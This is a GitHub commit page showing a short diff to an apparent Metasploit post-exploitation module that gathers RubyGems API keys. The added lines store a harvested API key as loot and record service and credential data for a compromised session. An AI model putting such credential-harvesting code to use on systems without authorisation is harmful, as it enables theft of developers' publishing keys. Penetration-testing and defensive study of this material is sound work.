Skip to content

Commit dd34b58

Browse files
author
Jonathan Claudius
committed
Add add loot
1 parent 3889ed5 commit dd34b58

File tree

1 file changed

+14
-0
lines changed

1 file changed

+14
-0
lines changed

modules/post/multi/gather/rubygems_api_key.rb

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,20 @@ def download_loot(paths)
5050

5151
print_good("Downloaded #{path}")
5252

53+
store_loot("host.rubygems.apikey",
54+
"text/plain",
55+
session,
56+
rubygems_api_key,
57+
"ruby_api_key.txt",
58+
"Ruby API Key")
59+
60+
service_data = {
61+
address: host,
62+
service_name: 'rubygems',
63+
protocol: 'tcp',
64+
workspace_id: myworkspace_id
65+
}
66+
5367
credential_data = {
5468
origin_type: :session,
5569
session_id: session_db_id,

0 commit comments

Comments
 (0)